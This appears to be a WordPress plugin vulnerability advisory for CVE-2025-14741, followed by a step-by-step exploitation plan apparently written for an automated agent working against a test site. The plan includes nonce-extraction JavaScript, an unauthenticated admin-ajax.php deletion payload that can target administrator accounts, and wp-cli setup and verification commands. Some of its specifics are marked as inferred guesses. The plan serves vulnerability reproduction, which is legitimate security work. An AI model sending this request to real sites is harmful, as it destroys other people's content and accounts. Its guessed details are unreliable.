Frontend Admin by DynamiApps <= 3.28.25 - Missing Authorization to Unauthenticated Arbitrary Data Deletion via 'delete post' Form Element
Description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to missing authorization to unauthorized data modification and deletion due to a missing capability check on the 'delete_object' function in all versions up to, and including, 3.28.25. This makes it possible for unauthenticated attackers to delete arbitrary posts, pages, products, taxonomy terms, and user accounts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=3.28.25Source Code
WordPress.org SVNThis research plan outlines the steps required to analyze and exploit **CVE-2025-14741**, a critical missing authorization vulnerability in the **Frontend Admin by DynamiApps** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Missing Authorization (Insecure Direct Object Reference /…
Show full research plan
This research plan outlines the steps required to analyze and exploit CVE-2025-14741, a critical missing authorization vulnerability in the Frontend Admin by DynamiApps plugin.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (Insecure Direct Object Reference / Missing Capability Check).
- Location: The
delete_objectfunction (likely a method in an AJAX handler class). - Cause: The plugin exposes functionality to delete WordPress objects (posts, users, terms) via frontend forms. While it may implement nonce checks, it fails to verify if the requesting user has the necessary permissions (
current_user_can()) to delete the specified object. - Impact: Unauthenticated attackers can delete any post, page, product, taxonomy term, or user account (including administrators), leading to full site disruption or data loss.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action: Likely
acf_frontend/delete_objectoracf_frontend/element/delete_object(inferred from plugin naming conventions). - HTTP Method:
POST - Authentication: None required (vulnerable via
wp_ajax_nopriv_*hooks). - Key Parameters:
action: The AJAX action string.object_id: The ID of the target to delete (Post ID or User ID).object_type: (e.g.,post,user,term).nonce: A security token (likely accessible on pages where the plugin is active).
3. Code Flow (Inferred)
- Entry Point: The plugin registers a
noprivAJAX handler:add_action( 'wp_ajax_nopriv_acf_frontend/delete_object', array( $this, 'delete_object' ) ); - Handler Execution: The
delete_objectfunction is called. - Missing Check: The function likely calls
wp_verify_nonce()but proceeds to callwp_delete_post()orwp_delete_user()without verifyingcurrent_user_can( 'delete_post', $post_id )orcurrent_user_can( 'delete_user', $user_id ). - Sink: The core WordPress deletion functions are executed on the user-provided
object_id.
4. Nonce Acquisition Strategy
The Frontend Admin plugin localizes its configuration data to the frontend for its form elements.
- Identify Shortcode: The plugin uses shortcodes like
[acf_frontend_form]or specific element shortcodes to render forms. - Setup Page: Create a public page containing a Frontend Admin "Delete Post" element or a general form element.
- Navigate & Extract:
- Navigate to the created page.
- The plugin localizes data in a global JavaScript object, usually
acf_frontendoracf_frontend_form. - JS Variable:
window.acf_frontend(inferred). - Nonce Key:
acf_frontend.nonceoracf_frontend.ajax_nonce(inferred).
- Execution Agent Command:
// Using browser_eval to find the nonce const nonce = window.acf_frontend?.nonce || window.acf_frontend_form?.nonce; return nonce;
5. Exploitation Strategy
Step 1: Target Identification
Identify the ID of an object to delete (e.g., Post ID 1 or User ID 1 for the admin).
Step 2: HTTP Request Construction
Send a POST request to admin-ajax.php using the http_request tool.
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
(Note: The exact action string and parameter names must be confirmed by searching the plugin source foraction=acf_frontend/delete_object&object_id=TARGET_ID&object_type=user&nonce=EXTRACTED_NONCEwp_ajax_nopriv).
6. Test Data Setup
- Victim Post: Create a post titled "Sensitive Data" and note its ID.
- Victim User: Create a secondary administrator or editor user and note their ID.
- Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Form Page" --post_content='[acf_frontend_form]'- Alternatively, if the plugin requires a specific "Delete" element, use the plugin's UI to add a delete button to a page.
7. Expected Results
- Response: The AJAX endpoint should return a success message (e.g.,
{"success": true}or a1). - State Change: The target post or user should be permanently removed from the database (or moved to trash if
force_deleteis false).
8. Verification Steps
- Post Deletion Check:
wp post exists <ID>should return false or show the post is in the trash. - User Deletion Check:
wp user list --id=<ID>should return an empty list. - Database Check:
wp db query "SELECT * FROM wp_posts WHERE ID = <ID>"to confirm record removal.
9. Alternative Approaches
- Parameter variations: If
object_typeis not used, the plugin might use separate actions likeacf_frontend/delete_postandacf_frontend/delete_user. - Form ID requirement: Some handlers might require a
form_idorelement_idto validate which "delete button" configuration is being used. These can be extracted from the HTML attributes of the delete button on the trigger page (e.g.,data-form-id="..."). - Trash vs. Permanent: Try adding
force=1orpermanent=trueto the payload if the initial deletion only moves the object to the trash.
Summary
The Frontend Admin by DynamiApps plugin is vulnerable to unauthorized data deletion because it fails to perform capability checks in its 'delete_object' AJAX handler. Unauthenticated attackers can exploit this to delete arbitrary posts, pages, taxonomy terms, and even user accounts (including administrators) by providing a valid security nonce and object identifier.
Exploit Outline
1. Access a public page where a Frontend Admin form is rendered to locate the security nonce in the global JavaScript object (typically 'window.acf_frontend.nonce'). 2. Identify the 'object_id' and 'object_type' (e.g., 'post', 'user', or 'term') of the target to be deleted. 3. Send a POST request to /wp-admin/admin-ajax.php with the following parameters: 'action=acf_frontend/delete_object', 'object_id=[TARGET_ID]', 'object_type=[TYPE]', and 'nonce=[EXTRACTED_NONCE]'. 4. The plugin will execute the deletion via core WordPress functions (like wp_delete_post or wp_delete_user) without verifying if the requester has the 'delete_post' or 'delete_users' capabilities.
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